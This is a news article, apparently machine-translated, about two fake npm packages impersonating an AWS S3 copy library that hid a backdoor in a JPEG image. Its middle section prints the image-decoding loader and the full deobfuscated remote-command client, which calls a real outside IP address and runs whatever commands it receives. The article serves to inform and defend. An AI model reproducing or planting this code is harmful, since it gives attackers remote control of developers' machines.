This is how a carefully hidden backdoor in fake AWS files escaped the attention of the general public

Researchers have determined that two fake AWS packages, downloaded hundreds of times from the open source NPM JavaScript repository, contained carefully hidden code that, when executed, allowed access to developers’ computers.

The packages—img-aws-s3-object-multipart-copy And legacyaws-s3-object-multipart-copy— were attempts to impersonate aws-s3-object-multipart-copy, a legitimate JavaScript library for copying files using Amazon’s S3 cloud service. The fake files contained all of the code found in the legitimate library, but added an additional JavaScript file named loadformat.js. That file produced what appeared to be benign code and three JPG images that were processed during the package installation. One of the images contained code snippets that, when reconstructed, constituted code for backdooring the developer device.

Growing refinement

“We flagged these packages for removal, but the malicious packages remained available on npm for almost two days,” wrote researchers from Phylum, the security firm that discovered the packages. “This is concerning because it implies that most systems cannot detect and report these packages immediately, leaving developers vulnerable to attacks for a longer period of time.”

In an email, Phylum Head of Research Ross Bryant said that img-aws-s3-object-multipart-copy received 134 downloads before it was taken down. The other file, legacyaws-s3-object-multipart-copy, received 48.

The care put into the code by package developers and the effectiveness of their tactics underscores the growing sophistication of attacks against open-source repositories, which in addition to NPM include PyPI, GitHub, and RubyGems. These advances allowed the vast majority of malware scanning products to miss the backdoors embedded in these two packages. In the past 17 months, threat actors backed by the North Korean government have attacked developers twice, once using a zero-day vulnerability.

Tribal researchers have conducted an in-depth analysis of how the cloak worked:

Analyzing the loadformat.js file we find what at first glance seems like a fairly innocent code for image analysis.

However, upon closer inspection, we see that this code does some interesting things, resulting in execution on the victim’s computer.

After the image file is read from disk, each byte is analyzed. All bytes with a value between 32 and 126 are converted from Unicode values ​​to a character and added to the analyzepixels variable.

function processImage(filePath) {
	console.log("Processing image...");
	const data = fs.readFileSync(filePath);
	let analyzepixels = "";
	let convertertree = false;

	for (let i = 0; i < data.length; i++) {
    	const value = data[i];
    	if (value >= 32 && value <= 126) {
        	analyzepixels += String.fromCharCode(value);
    	} else {
        	if (analyzepixels.length > 2000) {
            	convertertree = true;
            	break;
        	}
        	analyzepixels = "";
    	}
	}
    
	// ...

The threatening actor then defines two separate bodies of a function and stores each body in its own variables, imagebyte And analyzePixels.

let analyzePixеls = `
	if (false) {
    	exec("node -v", (error, stdout, stderr) => {
        	console.log(stdout);
    	});
	}
	console.log("check nodejs version...");
	`;

let imagebyte = `
	const httpsOptions = {
    	hostname: 'cloudconvert.com',
    	path: '/image-converter',
    	method: 'POST'
	};
	const req = https.request(httpsOptions, res => {
    	console.log('Status Code:', res.statusCode);
	});
	req.on('error', error => {
    	console.error(error);
	});
	req.end();
	console.log("Executing operation...");
	`;

If convertertree set to true, imagebyte set to analyzepixelsIn plain language, as converttree is set, everything in the script we extracted from the image file will be executed.

if (convertertree) {
	console.log("Optimization complete. Applying advanced features...");
	imagebyte = analyzepixels;
} else {
	console.log("Optimization complete. No advanced features applied.");
}

Looking back above, we notice that convertertree will be set to true if the length of the bytes found in the image is greater than 2,000.

if (analyzepixels.length > 2000) {
  convertertree = true;
  break;
}

The author then creates a new function using code that returns an empty POST request to cloudconvert.com or start executing whatever was extracted from the image files.

const func = new Function('https', 'exec', 'os', imagebyte);
func(https, exec, os);

The question that remains is: What is in the images that this is trying to do?

Command and Control in a JPEG

Looking at the bottom of the loadformat.js file, we see the following:

processImage('logo1.jpg');
processImage('logo2.jpg');
processImage('logo3.jpg');

These three files can be found in the root of the package. They are included below unchanged, unless otherwise noted.

Appears as logo1.jpg in the package
Appears as logo2.jpg in the package
Appears as logo3.jpg in the package. Adjusted here because the file is corrupt and in some cases was not displayed properly.

If we take each of these through the processImage(...) function from above, we find that the Intel image (i.e. logo1.jpg) does not contain enough “valid” bytes to converttree variable to true. The same applies to logo3.jpgthe AMD logo. For the Microsoft logo (logo2.jpg), we find the following, formatted for readability:

let fetchInterval = 0x1388;
let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
const clientInfo = {
  'name': os.hostname(),
  'os': os.type() + " " + os.release()
};
const agent = new https.Agent({
  'rejectUnauthorized': false
});
function registerClient() {
  const _0x47c6de = JSON.stringify(clientInfo);
  const _0x5a10c1 = {
	'hostname': "85.208.108.29",
	'port': 0x1bb,
	'path': "/register",
	'method': "POST",
	'headers': {
  	'Content-Type': "application/json",
  	'Content-Length': Buffer.byteLength(_0x47c6de)
	},
	'agent': agent
  };
  const _0x38f695 = https.request(_0x5a10c1, _0x454719 => {
	console.log("Registered with server as " + clientInfo.name);
  });
  _0x38f695.on("error", _0x1159ec => {
	console.error("Problem with registration: " + _0x1159ec.message);
  });
  _0x38f695.write(_0x47c6de);
  _0x38f695.end();
}
function fetchAndExecuteCommand() {
  const _0x2dae30 = {
	'hostname': "85.208.108.29",
	'port': 0x1bb,
	'path': "/get-command?clientId=" + encodeURIComponent(clientInfo.name),
	'method': "GET",
	'agent': agent
  };
  https.get(_0x2dae30, _0x4a0c09 => {
	let _0x41cd12 = '';
	_0x4a0c09.on("data", _0x5cbbc5 => {
  	_0x41cd12 += _0x5cbbc5.toString();
	});
	_0x4a0c09.on("end", () => {
  	console.log("Received command:", _0x41cd12);
  	if (_0x41cd12.startsWith('setInterval:')) {
    	const _0x1e3896 = parseInt(_0x41cd12.split(':')[0x1], 0xa);
    	if (!isNaN(_0x1e3896) && _0x1e3896 > 0x0) {
      	clearInterval(intervalId);
      	fetchInterval = _0x1e3896 * 0x3e8;
      	intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
      	console.log("Interval has been updated to " + _0x1e3896 + " seconds.");
    	} else {
      	console.log("Invalid interval command received.");
    	}
  	} else {
    	if (_0x41cd12.startsWith("cd ")) {
      	const _0x58bd7d = _0x41cd12.substring(0x3).trim();
      	try {
        	process.chdir(_0x58bd7d);
        	console.log("Changed directory to " + process.cwd());
      	} catch (_0x2ee272) {
        	console.error("Change directory failed: " + _0x2ee272);
      	}
    	} else if (_0x41cd12 !== "No commands") {
      	exec(_0x41cd12, {
        	'cwd': process.cwd()
      	}, (_0x5da676, _0x1ae10c, _0x46788b) => {
        	let _0x4a96cd = _0x1ae10c;
        	if (_0x5da676) {
          	console.error("exec error: " + _0x5da676);
          	_0x4a96cd += "\\nError: " + _0x46788b;
        	}
        	postResult(_0x4a96cd);
      	});
    	} else {
      	console.log("No commands to execute");
    	}
  	}
	});
  }).on("error", _0x2e8190 => {
	console.error("Got error: " + _0x2e8190.message);
  });
}
function postResult(_0x1d73c1) {
  const _0xc05626 = {
	'hostname': "85.208.108.29",
	'port': 0x1bb,
	'path': "/post-result?clientId=" + encodeURIComponent(clientInfo.name),
	'method': "POST",
	'headers': {
  	'Content-Type': "text/plain",
  	'Content-Length': Buffer.byteLength(_0x1d73c1)
	},
	'agent': agent
  };
  const _0x2fcb05 = https.request(_0xc05626, _0x448ba6 => {
	console.log("Result sent to the server");
  });
  _0x2fcb05.on('error', _0x1f60a7 => {
	console.error("Problem with request: " + _0x1f60a7.message);
  });
  _0x2fcb05.write(_0x1d73c1);
  _0x2fcb05.end();
}
registerClient();

This code first registers the new client with the remote C2 by sending the following clientInfo Unpleasant 85.208.108.29.

const clientInfo = {
  'name': os.hostname(),
  'os': os.type() + " " + os.release()
};

Then an interval is set that periodically goes through the attacker’s commands and retrieves them every 5 seconds.

let fetchInterval = 0x1388;
let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);

Received commands are executed on the device and the output is sent back to the attacker on the endpoint /post-results?clientId=<targetClientInfoName>.

One of the most innovative methods of hiding an open source backdoor in recent history was discovered in March, just weeks before it was scheduled to be included in a production version of XZ Utils, a data compression utility available on nearly all Linux installations. The backdoor was deployed via a five-stage loader that used a series of simple but clever techniques to hide itself. Once installed, the backdoor allowed threat actors to log into infected systems with administrative privileges.

The responsible person or group worked on the backdoor for years. In addition to refining the cloaking method, the entity spent a lot of time producing high-quality code for open source projects in a successful attempt to build trust with other developers.

In May, Phylum disrupted a separate campaign that blocked a backdoor in a package in PyPI that also used steganography, a technique for embedding secret code into images.

“In recent years, we have seen a dramatic increase in the sophistication and volume of malicious packages being published in open source ecosystems,” Phylum researchers wrote. “Make no mistake, these attacks are successful. It is imperative that developers and security organizations are acutely aware of this and are highly vigilant about the open source libraries they consume.”

Leave a Comment